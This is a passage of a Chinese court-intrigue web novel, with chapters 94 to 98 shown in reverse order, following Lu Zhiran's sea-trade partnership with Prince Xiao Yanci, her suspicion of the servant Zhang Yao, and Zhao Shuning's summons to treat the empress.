姜氏心里一突,“你别乱来!侯府倒了,你也无法独善其身。” 赵书宁朝桌上瞟了一眼,姜氏只得道:“我会敲打厨房,今后你的衣食住行,都会依照以往的规格。” 见她不得不向自己低头,赵书宁总算出了一口恶气。 “我早就说过,我有医术傍身,迟早能有出头之日。” 姜氏表情凝滞,一时不知该作何反应。 赵书宁能重新得势自然是好事,可她们已经撕破了脸,再想弥补不容易,日后更是不好继续拿捏她。 早知如此,方才就不该把话说得那么满。 姜氏勉强扯出一抹笑,“不管怎么说,这是一次大好的机会,你一定要牢牢抓紧了。” 赵书宁嗤笑一声,“有些人变脸可真是比翻书还快。” 姜氏心中羞恼,面上闪过难堪。 “我这是为你考虑。若你没能抓住这次机会,再想翻身就没那么容易了。” 赵书宁半点脸面都不给她留,“是为我考虑,还是看我又有了利用价值,所以巴巴地贴上来?” 楚云清气急了,“能不能把功劳挣到还未可知,你有什么好得意的?” 赵书宁神色傲然,“皇上能想到我,特意命人传召我入宫,就说明我的医术入得了皇上的眼。是金子,迟早会发光。” 楚云清冷笑一声,“事情未定,话别说太满!可别到时候功劳没捞着,反倒落个救治不力的罪名。” 赵书宁面色一沉,“你是在诅咒皇后娘娘?” 楚云清一噎,连忙否认,“我没有……” “你话里话外不就是这个意思?到现在还盼着我失势,你可真是个蠢货。” 撂下一句充满嘲讽的话,赵书宁转身离开。 楚云清气得面容扭曲,还想再与她理论,被姜氏一把拉住了。 “好了,这种时候你就别添乱了!” 姜氏满心烦躁,语气也带着十足的不耐烦,楚云清被吼得一愣一愣的。 “娘,您吼我做什么?我方才也是替您出气啊!” 姜氏疲惫地揉着眉心,第一次赞同了赵书宁的话,自己这个女儿,当真是个蠢货。 “赵书宁现在是奉旨给皇后诊治,她若立了功,侯府跟着沾光,若她被降罪,侯府说不定也要被牵连,万一她到时候真的把什么不该说的抖出来,侯府就更难保全,这个时候岂能再与她争执?” 楚云清委屈地扁嘴,“您瞧瞧方才她待您的那态度!她若是立了功,也早与我们离了心了,又岂会再让我们跟着沾光?” 姜氏一梗,心头闪过一抹阴霾。 “只要她还是侯府的人,就由不得她!” 楚云清满脸怅然,“如果陆知苒还是我嫂嫂就好了。她有钱,有功劳,有身份,还比赵书宁好拿捏,若她还是我嫂嫂,我的日子定然比现在风光多了。” 她会有花不完的银子,也能收获小姐妹们羡慕崇拜的目光。 姜氏心口又开始隐隐发疼。 “别提那个女人!她也不是什么省油的灯!她瞒了我们这么久,早就与侯府离了心。此次侯府遭遇的这番重创,也是她搞出来的,她比赵书宁更可恨!” 那女人再有钱又怎样? 她对侯府早就生了二心,压根不是什么好东西! 楚云清也记恨着陆知苒不愿给自己出钱买头面之事,母女二人便同仇敌忾地骂了起来。 走在入宫的路上,赵书宁的心不可避免地提了起来。 方才在姜氏母女面前表现得底气十足,不过是不想落了下乘罢了。 领路宫人低声提点,“是李贵妃开口,才为你争取到了这次难得的机会,你可要好好抓牢了,切莫辜负了贵妃的看重。” 第98章 吃不死人,也治不好病 母子二人对视,从彼此眼中看到了深藏的隐忧。 柔妃长长呼了一口气,终于松了口。 “好,母妃给你凑银子。” 萧晏辞闻言,露出笑来,“母妃果然深明大义。” 柔妃剜了他一眼,“你最好给我把银子赚回来,不然我饶不了你。” “母妃到时候就等着数银子吧。” 柔妃还是不大信,但想着方才儿子的话,便只能咬牙搏一搏。 若是当真亏了,大不了她再去向皇上哭穷,把这笔银子补上。 人真是禁不起念叨,她心念刚起,外头就传来了宫人的通传声。 “皇上驾到。” 柔妃暗暗翻了个白眼,但很快就撑起了笑脸。 钱袋子来了,可得抓住机会好好薅一把。 母子二人互相打配合,很顺利就从德丰帝那里薅到了一波赏赐。 德丰帝被哄得心情愉悦,柔妃和萧晏辞得了赏赐心情也很好,气氛十分和乐。 但一切很快被打破。 有宫人匆忙来禀,“皇上,不好了,皇后娘娘吐血晕倒了。” 几人都变了脸色,饭也顾不上吃,一起往坤宁宫赶去。 早有太医在给皇后施针诊脉,但床上的人面如金纸,情况俨然不大好。 萧宝珠呆立在床边,双目无神,脸上满是泪痕。 李贵妃消息灵通,凡事都跑在前头,此时她正满脸焦急地守在床边。 看到与德丰帝一同出现的母子二人,李贵妃的表情微微顿了顿。 德丰帝沉声开口,“皇后怎么样?” 一名太医小心翼翼地回话,“回皇上,皇后本就气血亏空,加上郁结于心,肺气淤塞不畅,方才气急攻心,这才吐血。微臣已然给皇后施针,暂时稳住了病情。” 德丰帝眉心死死蹙在一起,“好端端的,皇后怎会气急攻心?” 萧宝珠低低啜泣,“父皇,是,是儿臣惹了母后生气,都是儿臣的错,您要罚就罚儿臣吧。” 她低着头,凌乱的头发遮住了左脸那清晰的巴掌印。 旁人没留意,萧晏辞却一眼看到了,他的眉头瞬间蹙起。 李贵妃一副不赞同的语气,“小九,这本宫就要说说你了,你明知皇后身体不好,怎能惹她生气?若皇后因此有个好歹,你岂不要背个大不孝的罪名?” 萧宝珠的面色霎时又惨白几分。 柔妃护在萧宝珠身前,“亲母女哪能动真怒?皇后性子最是宽和,平日里也最疼宝珠,怎会与宝珠置气?李贵妃,你不明真相可别乱说话。” 萧晏辞也跟着开口,“母后的身子素来不好,太医院开的方子吃不死人,也治不好病,时日久了,母后的身子不堪重负,自然垮了。” 德丰帝的脸色不好看,“皇后什么时候能醒?” 几名太医支支吾吾,“这,得看皇后的状态,微臣也,也不敢断言。” 德丰帝大怒,“来来回回就是这么一套说辞,要你们何用?” 他们立马跪地请罪。 德丰帝寒着脸,“把太医院的所有人都召来!” 他养着这么多人,难道就没有一个可用的? 德丰帝亲自坐镇坤宁宫,众人也都一道候着,无人敢离开。 小半个时辰后,众太医陆续赶到,先后给孙皇后诊脉。 他们的说辞都大差不差,全是那车轱辘话来回说,无人有法子让孙皇后好转,德丰帝的脸色越来越难看。 蒋老太医年事已高,外头下着大雪,他走得慢,是以最后一个赶到。 颤颤巍巍地行了礼,蒋老太医这才给孙皇后诊脉,足足诊了一盏茶的时间,他收回了手。 “回禀皇上,皇后肝气郁结,肝火上炎,且心率急促不齐,乃心悸之症。眼下只是暂时稳住了情况,若要脱险,需得行一套九转还魂针。” “那就赶紧施针!” 蒋老太医面露迟疑,“此套针法险之又险,微臣也并无绝对把握。而且,施针穴位多在前胸,微臣亦不便施针。” 这话,让殿内陷入了死一般的安静。 萧宝珠的眼泪在眼眶里疯狂打转,都怪她,为什么要说那样的话,惹母后生气? 李贵妃忽而开口,“皇上,不若让赵书宁进宫试试。” 听到这个名字,德丰帝眉峰微蹙。 萧宝珠高声拒绝,“不行!赵书宁那般人品低劣之人,怎能让她给母后诊治?” 蒋老太医心中也升起反感,但此事关涉到皇后的安危,他身为臣子不便多言。 李贵妃幽幽叹气,“皇后的病症危急,本宫也是担心才会有此提议。赵氏在处理私人感情上是有些糊涂,但她的医术的确可圈可点,小九若觉得不妥,可还有其他更合适的人选?” 萧宝珠噎住。 若是阿笙在就好了,她定能把母后救回来。 李贵妃又叹了一口气,“小九,你已经把皇后气得晕倒,可不能再阻拦旁人给皇后诊治,不然就真的是大不孝了。” 萧宝珠张了张嘴,说不出话来。 愧疚和懊恼将她淹没,她连阻拦的资格都没有。 萧晏辞开口,“贵妃能保证赵书宁一定能把皇后治好吗?” 李贵妃可不会往自己身上揽责任。 “这本宫如何能保证?方才蒋老太医说了,皇后的病情凶险,便是他亲自施针,也不敢保证万无一失。本宫也只是提议,究竟要不要让她来试一试,自然要交由皇上裁决。” 她这个时候提上一嘴,对赵书宁而言已经是莫大的提携。 若成了,这枚棋子还可以再用。 若不成,她也没什么损失。 德丰帝看向蒋老太医,“若不施针,皇后会如何?” “皇后身体本就亏损严重,已是禁不起半点风吹草动,继续拖延,只恐情况不妙。” 这话像一记重锤,狠狠砸在萧宝珠的心口。 眼眶再次泛红,她极力强压,才压住了涌到喉间的呜咽。 德丰帝闭了闭眼,沉沉开口。 “宣赵书宁,即刻入宫为皇后诊治。” …… 这段时日,赵书宁在府中待遇越来越差,起先碧莹拿回来的饭食只是寡淡没油水,后来三个菜变成了一个,分量大打折扣,今日分量倒是够,但却是馊臭的。 碧莹与厨房的人争论,还被打了一耳光,哭哭啼啼地跑回青黛阁。 赵书宁岂是吃亏的主儿? 她提着那馊臭的食盒直接杀到了永福居。 永福居的下人想拦根本拦不住。 姜氏和楚云清正在用饭,二人看到浑身煞气的赵书宁,俱是被震住了。 第97章 砧板上的鱼肉 萧晏辞把那册子小心放好,又用清水仔仔细细地把手脸都洗净,擦干,这才重新拿起,小心翼翼地翻开。 小半刻钟后,萧晏辞从帐子里走出来,唇角微勾,竟是带着笑。 贺昀挠头,能让殿下那么快转阴为晴,看来平乐县主当真给殿下出了赚钱的奇招啊。 萧晏辞牵马就走,贺昀忙问,“殿下,您这是去哪儿?” “回宫一趟。” 打秋风去。 夕颜殿,柔妃正在调香。 她闲来无事,平日里最喜调香。 萧晏辞没让宫人通报,直接迈步而入,还没开口就先打了几个大喷嚏。 “母妃又在捣鼓些什么?怎这般熏人?” 柔妃见了他,本是高兴的,但一听他这话,脸立马就垮了下去。 “你个莽夫,我还没嫌你那一身臭汗熏人,你倒是开始嫌弃我的香料来了?” 萧晏辞摸了摸鼻子,讨好般地告饶。 “儿臣知错了,您这香料调得极好,是儿臣不懂欣赏。” 柔妃拿起帕子就开始揉眼睛,“我真是命苦,生个女儿多好,偏偏生了个木头一样的儿子,半点情趣都没有!” 萧晏辞赶紧提议,“要不您趁现在还年轻,再给儿臣生个妹妹。” 柔妃把帕子一甩,冷哼一声,“要是再生个臭小子,我不得被烦死?” 再说,她一个人也生不出来啊。 萧晏辞摊手,“那没法子了,您将就将就吧。” 又揉了揉肚子,“儿臣忙了一日,好饿,母妃您这有没有吃的?” 柔妃立马心疼起来,赶紧吩咐宫人备膳,又让人端来点心让他先垫垫。 萧晏辞接连吃了好几个,狼吞虎咽,柔妃看得心疼又嫌弃。 “你慢点吃。那收容所究竟是什么地儿啊,连饭都吃不上。” 萧晏辞龇着牙笑,“饭自是能吃饱的,但可比不上母妃这儿的好吃,儿臣好容易入宫一趟,自然要多吃些。” 柔妃不满地嘀咕,“实在不行,你便把这差事辞了吧!辛苦不说,半点好处都捞不着。” “谁说半点好处捞不着?上回父皇不是赏了儿臣不少好东西吗?” 柔妃不雅地翻了个白眼,“那有什么用?你这破财命,也只能看看罢了。” 萧晏辞换上一脸正色,“母妃,此一时彼一时,儿臣现在能赚钱了。上回炭和棉花的生意,儿臣可踩在了风口上。” 柔妃不以为意,“你不是捐了吗?最后还不是半点银子没赚着。” “那不一样,以往是儿臣想赚赚不着,这一回是儿臣能赚,但为了替父皇分忧才选择舍利取义,这是两码事。悟尘那老秃驴不是说儿臣的命格会有转机吗?儿臣觉得,转机已到了。” 柔妃被他说得一愣一愣的。 萧晏辞终于引入正题,“儿臣手头上有一个大买卖,若是做成了,就能赚一大笔。” 柔妃一下警惕起来,“你又想瞎折腾什么?” 萧晏辞把怀里的那本册子拿了出来,神色郑重。 “儿臣没有瞎折腾,是有严密计划的,您看看。” 柔妃将信将疑地翻看,看到后面,神色慢慢认真起来。 “这是你想出来的?” 萧晏辞摇头,“儿臣若有这本事,早就赚得盆满钵满了。此乃出自儿臣的军师。” 柔妃依旧有些怀疑。 “您不知道吧,上次的生意,便是受了这位军师的指点,不然儿臣哪有这先见之明囤这些货啊。” “当真?” “儿臣骗您做什么。” 柔妃脸上的怀疑褪去,“这么看,这位军师倒是当真有几分本事。” 萧晏辞不遗余力地夸赞,“何止是有几分本事,她是十分有本事,她手头上的生意就没有不赚钱的。这回的大买卖,儿臣与她合伙,什么都不用管,只等着收钱便是。” “母妃不懂那些,你觉得可靠就行。” 萧晏辞清了清嗓子,用手比了个手势,“儿臣缺点本钱。” 柔妃可算看穿了他的意图,“我就说你今日怎的突然有空来我这儿请安,却原来是无事不登三宝殿!” “母妃,儿臣是特意来给您请安,其他事都是顺便。” 柔妃呵呵两声。 “男人的嘴,骗人的鬼。” 萧晏辞对付自己母妃有一套,好一番舌灿莲花,总算把人哄好了。 柔妃勉为其难地松了口,“说吧,要多少?” 萧晏辞比了个巴掌。 “五千?” 萧晏辞摇头。 柔妃:“五万?” 萧晏辞又摇头,“五十万。” 柔妃倒吸一口凉气,当场就起身赶人。 “走走走,你赶紧给我走,我没你这个儿子。” 萧晏辞自然不肯走,“母妃,您放心,儿臣不要您的银子,儿臣只要自己的那一份。” 自小到大,他得的好东西大部分都放在了柔妃这儿。 柔妃护犊子似的护着钱袋子,“不行,那是母妃好不容易替你攒起来的,那是留着你娶了王妃之后,你们小两口过日子用的,都让你败完了,以后王妃进门跟你一块儿喝西北风不成?” 儿子不存财,若是这点积蓄也挥霍出去了,王妃进门一看,好家伙,偌大的瑾王府竟是个空壳子,说出去不叫人笑掉大牙。 萧晏辞一脸认真,“这有何难,儿臣找个有钱的王妃便是。” 柔妃:…… 堂堂皇子,竟然想着吃软饭?这成何体统,成何体统啊! 萧晏辞忍着笑,“母妃,儿臣与您说笑呢。王妃再有钱,儿臣也不会白吃白用她的。大不了,儿臣到时候去父皇那里打秋风,总饿不着。” 柔妃大逆不道地想,到时候你父皇还在不在都不一定呢! “母妃,方才那计划书您也看到了,海运商队要筹办起来不容易,五十万两已经算少的了。” 柔妃捧着胸口,“五十万已经算少的了?你可真是好大的口气啊。中途但凡出一点差错,这银子可就没了。” “您往好处想,若一切顺利,就是数十倍,甚至更多的收益,您难道不喜欢白花花的银子吗?” 柔妃脑中闪过白花花的银子,白得晃眼,她心口也跟着颤了颤。 “那也不行……” 萧晏辞凑到柔妃耳边,低声道:“母妃,儿臣总要为自己的未来考虑,日后父皇不在了,儿臣没了靠山,若毫无依仗,就真的是砧板上的鱼肉了。” 柔妃愣怔当场。 因为命格特殊,萧晏辞注定无缘皇位。 柔妃原本对此事并不关心,但萧晏辞的这番话,如同一盆冷水兜头浇下来,叫她瞬间清醒了。 他就算无心争这皇位,旁人也未必会放过他。 在这场皇权的争夺之中,谁都无法独善其身。 第96章 他信她,不需要理由 陆知苒努力回想着前世的时间线。 想起来了! 当时,西平的第二场疫病爆发,羌笛趁虚而入,不仅楚翊安和赵书宁赶往西平支援,蒋南笙也去了。 只是前世的蒋南笙并未立下寸功,在赵书宁这个女神医的衬托下,黯淡无光。 蒋南笙是真的没有立下功劳吗? 凭她的能力,难道真的完全没有发现西平那场疫病的猫腻? 而今看来,事实并非如此。 她定是发现了重要证据,并将证据交给了最信任的伙伴,张垚。 谁料,对方却背叛了她,毁了证据。 蒋南笙清白被毁,以一种声名狼藉的方式揭开了女儿身,只怕也与张垚脱不开干系。 因为他,蒋南笙多年积攒的好名声,好医术被贬至尘埃,最终,只有下嫁于罪魁祸首,后半辈子都被圈在后宅的方寸之地。 陆知苒心口忽而升起一股难以言说的闷滞。 前世的蒋南笙,该是何等心灰意冷,何等万念俱灰? 萧晏辞看着眼前人,便见她从呆愣到愤怒,最后整个人都笼上了一层深深的,难以言说的悲伤。 萧晏辞努力克制,才压住了想抬手抚平她眉心的冲动。 “这个人有问题,对不对?” 他用的是问句,但语气却是肯定的。 他相信她的判断,不需要理由。 陆知苒深吸了一口气,用力点头,语气笃定。 “他有问题。” 萧宝珠瞪大了眼,“这,怎么可能?他,他有什么问题?” “我现在也说不清楚,但请你们相信我,他有问题,他会害了蒋公子。” 或许现在的他对蒋南笙还是忠心耿耿,全无二心,但一个人的心性是无法改变的。 上辈子,他会为了一己私欲害了蒋南笙,这辈子,也不能奢望他做出不一样的选择。 不要低估了人性之恶。 更不要把自己的安危寄托在旁人的一念之差上。 萧宝珠连连摇头,“不可能,我不相信,他可是会为了阿笙奋不顾身挡刀的!怎么会害阿笙?你不说出个所以然来,我绝不相信。” 她的反应在情理之中,陆知苒斟酌着该如何说服她,另外一道声音率先响起。 “我信。” 陆知苒看向萧晏辞,对上他那笃定坚毅的目光,不禁微微愣怔。 “七皇兄,这么荒诞的话你怎么也相信?你到底有没有长脑子?” 萧晏辞淡淡睨她,“不长脑子的人是你,整天就知道憨吃傻乐,别人把你卖了你还在帮别人数钱。” 他早便发现了,张垚看蒋南笙的眼神不同寻常。 且此人性子太过偏执较真,一旦得不到,恐生极端的心思。 萧晏辞在蒋南笙面前提过两回,蒋南笙笑说他小人之心,后来,张垚又替蒋南笙挡了刀,为她奋不顾身,萧晏辞便没再多说什么。 陆知苒的话没头没尾,却意外地与他先前的推测对上了。 萧宝珠被怼得又气又急。 萧晏辞满脸严肃地看着她,“宝珠,此事关涉到南笙的安危,宁可信其有,不可信其无。若我们错怪了张垚,大不了过后再向他赔礼道歉。但若因我们的想当然,害了南笙,那我们才要追悔莫及。” 萧宝珠很少看到七皇兄这般严肃的模样,更被他这番话震住了,也对此事慎重起来。 “那,那我们现在要怎么办?直接把他抓起来吗?” 萧晏辞摇头,“师出无名,我们没理由把人抓起来,南笙现在对他十分信任,我们自作主张,反倒伤了我们之间的情分。” 陆知苒点头,“瑾王殿下所言极是。” 萧宝珠六神无主,“那我们该怎么办啊?” 萧晏辞沉吟片刻,“我会派些人手跟着一块儿前往西平,盯着对方的一举一动,也派人跟在南笙身边随时保护左右。” 陆知苒补充,“此次西平疫情的重要线索,不可让他知晓。” 前世,若不是他从中作梗,赵书宁的药方问题定然早就爆了出来,这辈子,她不会让同样的事情发生。 萧晏辞看了她一眼,若有所思地点头。 陆知苒对上他那目光,莫名有种被看穿的感觉。 生怕他会追问些什么,但萧晏辞却什么都没问,他无比自然地相信了她的话,好似一切都理所应当。 这让陆知苒心头升起一股莫名的异样,究竟是什么,却又琢磨不透。 三人就此事商讨一番,确定了周详的计划,这才各自离开。 回到瑶光阁,陆知苒便命人备了笔墨,先往西平去了一封信。 是她把事情想得太简单了,蒋南笙此行若当真揭露了什么不该揭露之事,只怕会遇到危险。 是她请蒋南笙走的这一趟,她必须要对对方的安全负责。 写完这封信,紧接着又给舅舅去了一封信。 要组建海运船队,首先得有好的海船。 舅舅有自己的船队,她要打造海船,最省时省力的法子就是请舅舅帮忙。 两封信都命人第一时间送出去,她脑子分外清醒,半点睡意也无。 她索性开始整理海运商队计划,从人手的安排、货品的选购、路线的安排,以及海上风险的规避等,每一条都条理分明地详述。 夜色深浓,第三根烛火也快烧尽时,陆知苒终于放下笔,长长伸了一个懒腰。 终于写完了。 翠芙已接连打了好几个哈欠,看到自家姑娘眼底的青黑,她也不禁心疼。 “今夜写不完明日再写便是,小姐又何必急于一时?” 陆知苒笑笑没说话。 时间不等人,既然已经决定要做,她就不喜欢拖延。 初次与萧晏辞合作,她更要体现自己的价值,只有有足够的价值,才能让双方的联盟更加坚不可摧。 翌日,萧晏辞派人给她送来了一个信物。 是一枚令牌,上书“瑾”字。 陆知苒也把自己昨夜赶制的计划书交给对方,转交给萧晏辞。 萧晏辞又住到了收容所。 工坊准备搭建,他开始带人划地盘,打地基,忙得见不着人。 晌午,他顶着满头白雪回到帐中,端起茶壶牛饮一番,很是酣畅。 贺昀捧着一东西进来,递到了萧晏辞跟前。 “殿下,您看看。” 萧晏辞随手接过,翻开扉页,看到娟秀的字体,漫不经心的神色一收,他慌忙把册子阖上了。 再看,原本雪白的封皮上多了五个黢黑的手指印,还带着一丝残留的茶水污渍。 萧晏辞的脸都黑了,“你怎么不早说是平乐县主送来的?” 贺昀一脸无辜,“属下正准备向您汇报呢。” 萧晏辞抬脚踹他,“没眼力见的东西,滚出去。” 贺昀一边熟练地躲开,一边疑惑地挠头。 他这也没做错什么呀,殿下怎么说发火就发火了? 殿下这脾气,真是越来越阴晴不定了。 第95章 这个人有问题 海运,才是真正的暴利。 前世,就在差不多的时间,有商队发现了一条新航线,与黄头发绿眼睛的夷国交易,大齐朝遍地都是的廉价商品,在夷国,价钱直接翻上数十,甚至数百倍。 回程时,商队又从夷国带回大量外来的新鲜货品,如此来回倒腾,又是数百倍的巨额利润。 有这支商队的成功在前,其余商队才敢纷纷效仿。 上一世,楚翊安和赵书宁便用她的银子组建了一支出海商队,大赚了一笔。 陆知苒一直记着此事,只是她把精力放在京城上,没能分出人力和银子发展海运。 萧晏辞目光定定地望着对方,“你敢不敢与本王合作?本王出银子,你出人手,组建海运商队。” 陆知苒脱口而出,“殿下有银子吗?” 萧晏辞:…… 你冒昧吗? “本王既然有此提议,自然就能拿出银子。” 陆知苒好心提醒,“要组建一支出海船队,至少需要几十万两。” 萧晏辞面不改色,“本王说了,银子不是问题。你敢不敢与本王合伙做这笔买卖?” 他的神色郑重,不似玩笑。 陆知苒眸底闪过一抹光芒。 与瑾王合伙,不仅能抢占海运先机,捞到第一桶金,更能让彼此真正结成联盟。 如此千载难逢的好机会,岂能错过? 她大方一笑,“有何不敢?能得殿下青眼,实乃臣女之幸也。” 萧晏辞眸底也多了一丝笑意。 “你应当知道本王的名声,不怕本王坏了你的财运?” 陆知苒反问,“殿下都不怕血本无归,我怕什么?畏首畏尾,瞻前顾后,注定难成大事。” 萧晏辞低低笑出声来,“县主有胆识,看来本王找对人了。利润四六分,你六我四。你以为如何?” 陆知苒有些意外,没想到他竟如此好说话。 “本金全由殿下所出的话,臣女占六成就有些占您的便宜了。” “本王只出银子,其他事情一概不管,换言之,本王就只需要等着收银子罢了,六成是你该得的。” 陆知苒闻言,便也不再推辞,双方愉快地达成一致。 萧晏辞伸手在腰侧摸了一把,想拿个信物,却摸了个空。 暗骂一声艹,他若无其事地收回了手。 “待会儿本王命人给你送去信物,你有事持信物到瑾王府,本王会第一时间知晓。” 萧宝珠刚好从包间外走了进来,“什么信物?” 萧晏辞懒懒答话,“与你不相干。你饿不饿?” 萧宝珠立马转开注意,“我饿得能吃下一头牛!快快,上菜,吃饭。” 她边说边揉着肚子,揉到一团软软的肉,十分有分量。 感觉最近腰身似乎又粗了些。 没关系,吃了这顿再减也不迟。 若是连肉都不能好好吃,那人生又有什么意义? 陆知苒没料到,自己竟会有和这两位同桌吃饭的机会。 她饭量小,只用了一小半碗便放了筷子。 对面两兄妹,一个接连干了三大碗饭,一个接连啃了三个鸡腿,看她放了筷,二人齐齐朝她看过来。 萧晏辞:“饭菜不合胃口?” 萧宝珠:“肯定是你在这里,把人吓得不好意思吃。” 萧晏辞摸了摸脸,他明明很养眼,秀色可餐。 三两下把碗里的饭扒拉完,“本王用好了,你自便。” 这是要主动回避之意。 陆知苒连忙摆手,“不不,我是真的吃饱了。” 萧晏辞蹙眉,“那点饭,不够塞牙缝的。” “我胃口小。” 萧晏辞目光一转,在她那纤瘦腰身上轻轻带了一眼。 看出来了。 他一只手就能掐住。 再看看身边的这头猪,人与人果然是不一样的。 待萧宝珠终于放了筷子,陆知苒这才开口问起了蒋南笙。 萧宝珠道:“她已经出发了,还安排了后续人马准备药材往西平运送,到了那里,也不用担心药材不足的问题。” 陆知苒闻言,这才松了口气。 “蒋公子行事素来周全可靠。” 萧宝珠也连连点头,“没错,从小到大,阿笙做事都最稳妥,最让人放心。” 冷眼旁观二人对蒋南笙百般夸赞,萧晏辞心中莫名不得劲。 不就是一件小事吗?换他也能办得这般周全稳妥。 萧宝珠又有些担忧,“这回阿笙只带了二十多人,她还把功夫最好的张垚留下护送药材,路上可别出什么事才好。” 萧晏辞:“她那二十多人个个都是好手,此行多走官道,她又多有在外行走的经验,出不了事。” “天寒地冻的,赶路本就有危险……” 陆知苒忽而打断了二人,“公主,你方才说的张垚,可是三土垚?” 她的表情有些严肃,似发生了什么要紧之事。 萧宝珠不明所以地点头。 “对啊,你认识他?” 陆知苒一时没说话,似是努力回想着什么,眉头蹙得紧紧的。 萧晏辞追问,“这个人有问题?” 陆知苒还尚未开口,萧宝珠就瞪大了眼睛。 “怎么可能?他是阿笙奶娘的儿子,是阿笙最信任的人之一,怎么会有问题?” 原本陆知苒还不确定,但一听到这话,脑中模糊的记忆一下清晰起来。 前世,她曾在赵书宁的口中听过这个名字。 赵书宁说:“张垚识时务,已经把证据毁了,从此我便再无后顾之忧。” 陆知苒不明白前因后果,只记住了这个名字。 本以为是张尧,后来她潜入赵书宁书房中偷药方,看到了这个名字,才知此人名为张垚。 彼时,她已经完全被限制了自由,几乎斩断了与外界的联系,自然无从查起。 后来,她又听说一件有关蒋家人的事,说是蒋家的某位姑娘,与奶娘的儿子有私情,被当众揭穿,名声尽毁。 这是从丫鬟的闲聊中得知,她只听了个囫囵,至于是哪位姑娘,她不曾打听。 她都自身难保,又怎会去关心旁人之事? 再后来,又过了一段时间,她才听说,蒋家那位小神医并非男子,而是女儿身。 她彼时只觉震惊,但并未把那个与奶娘儿子有私情的蒋家小姐与蒋南笙联系到一起。 而今,这几个片段全都涌入脑中,串联了起来。 赵书宁口中的毁了证据的张垚,便是蒋南笙奶娘的儿子。 后来,那个与奶娘儿子有私情,被当众拆穿,名声尽毁的蒋家姑娘,十有八九也是蒋南笙。 张垚背叛了蒋南笙,给了她致命一击。 那么,张奎毁掉的那份证据,究竟是什么? 第94章 平乐县主实乃妙人 “皇上,臣女斗胆,还有一个小小的要求。” 德丰帝心情正好,笑着道:“你说。” “正所谓一家无二主,任何事情皆是如此。臣女与朝廷合办工坊,届时必然会有一些决策上的冲突,臣女斗胆,想请皇上给臣女行事决策权。臣女会定期向皇上汇报工坊的进展,绝不会仗着职权肆意妄为。臣女也甘愿立下军令状,定会将工坊打理好,若不然,甘愿领罚!” 德丰帝看着她,眼神意味不明。 “你胆子倒是大,野心也不小。只怕最后这话,才是你的重点吧。” 她苦心张罗这一切,出钱出力,可不得讨要些回报吗? 陆知苒正待惶恐告罪,德丰帝朗声笑道:“朝堂上那些迂腐老臣若是能有你一半的魄力,朕就不用愁了。此事,朕准了。工坊之事,一切重大决策皆由你裁夺。” 适当放权,才是真正优秀的御下之道。 既然要马儿跑,自然要先给马儿足够的甜头。 陆知苒大喜。 德丰帝含笑看着她,“陆知苒,你可不要让朕失望。” 陆知苒恭敬叩首,声音高亢激昂,“臣女定竭尽全力,不辜负皇上信任!” 陆知苒离开后,德丰帝的笑意依旧挂在脸上,久久没有落下。 冯有才凑趣,“平乐县主实乃妙人,每次都能让皇上这般开怀。” “是啊,除了七皇子和九公主,便是这位平乐县主有这本事。” 那两个到底是亲生的,这位可是真正凭实力哄得他满心开怀。 德丰帝不由想到了萧晏辞说过的一句话,歹竹出好笋。 陆贯轩那孬货能生出这么个女儿,真是撞了大运了。 “去,把小七传召入宫。” 工坊的筹办需要时间,现在就得抓紧了。 此事需得交给一个稳妥之人负责,萧晏辞无疑是最佳人选。 萧晏辞不明所以地入宫,刚行礼问安,德丰帝就给他甩来一份文书。 疑惑地翻开,他原本漫不经心的神色收敛,取而代之的是难掩的震惊与意外。 一股莫名的情绪流经全身,心头泛起巨大涟漪。 她外表柔弱,好似只能攀附大树生长的藤蔓。 实际上,她坚毅果敢,如百炼钢,似寒霜刃,有着远超常人的胆识和魄力。 风雨来时,她亦能站在身侧,栉风沐雨,互相扶持。 身体的灼热让喉口略显干涩沙哑,“这是平乐县主的主意?” 德丰帝捋须点头。 “朝中那么多官员,无一人想到此事,独她,不仅想了,还把从头到尾所有细节都考虑周全。朕可真是养了一堆没用的闲人。” 萧晏辞低低笑出了声。 “既然收容所之事一直是由你负责,工坊便也一并交由你,与平乐县主协理工坊事宜。这个重任,你可能担得起?” 萧晏辞抱拳,“儿臣领命,定能把此事办得漂漂亮亮,不辜负父皇期待。” …… 翌日,陆知苒收到了萧宝珠的邀约,约在漱芳斋。 蒋南笙已在五日前动身前往西平,陆知苒本以为萧宝珠寻自己是为了此事,但她到时,包厢中却不止一人。 萧宝珠的身侧还坐着另外一个玄衣男子。 开门的瞬间,他抬眸看来,双眸深邃,带着幽暗的辉光。 陆知苒微讶,很快恢复如常。 “臣女见过瑾王殿下,见过九公主。” 男人目光落在她的身上。 她穿着一袭碧色的衣裳,衣上落满梨花,如日暮远山雪,似长空白云飞,轻易搅起心头涟漪。 萧宝珠很随性,“不必多礼,进来坐。” 陆知苒款步而入,坐在二人对面。 鼻尖再次嗅到了那股熟悉的松木香,原本的猜测更加深了几分。 那日,他果然在那厢房之中。 萧宝珠指着身旁人,“我皇兄找你。” 在看到他的瞬间,陆知苒便已有了猜测,她面上不见半分讶色。 “不知瑾王殿下寻臣女有何吩咐?” 萧晏辞开口,声音沉缓,“父皇将工坊交给本王负责,此事重大,一些细节上的问题本王想与平乐县主讨教一二。” 萧晏辞摊开了图纸,当真讨论起公事来。 那图纸是陆知苒亲笔绘制,此时上面多了些批注,那字迹似曾相识,她曾在万民书上见到过。 修长的手指在图纸上指着,抛出自己的疑惑,陆知苒顺着他所指的位置一一解答。 不知不觉间,二人便站在了一处。 萧宝珠听得无趣,打着哈欠出去了。 屋中只余二人,轻柔女声响在耳侧,若有若无的馨香在鼻端萦绕,男人的注意力略有分散,余光瞥见一节欺霜赛雪的脖颈,一颗米粒大小的黑痣分外醒目。 他及时撤离,拉开二人的距离。 陆知苒微顿,这时方后知后觉地发现,屋中只剩他们二人。 男人的存在感太强,让她感到些许不自在。 正待找借口避一避,萧晏辞先开了口。 “冒昧一问,平乐县主手头上可有什么比较赚钱的营生?” 微微一顿,陆知苒耿直回答,“我手头上的生意,收益都不错。” 萧晏辞默了一瞬。 这就是人与人之间的差距吗? 在他沉默的瞬间,陆知苒好像读懂了他眼底的怨念。 陆知苒找补,“正所谓术业有专攻,殿下虽不善经商,但也有自己的过人之处。” “那平乐县主觉得,本王有何过人之处?” 一句话又把陆知苒问得卡壳了。 她那懵懂的样子,让萧晏辞唇角微翘,心情笼上几分浅浅愉悦。 他主动转了话题,“本王想做点小生意,县主可有什么推荐?” 他神色认真,不似玩笑,陆知苒心念一动,一个念头冒了出来。 她认真回答,“海运。” 萧晏辞很意外。 大齐朝并不禁止海运,但也不鼓励。 早年有商船接连遭遇海难,全军覆没,之后大家便谈海运色变。 也有胆子大的继续跑海运,但却是少数。 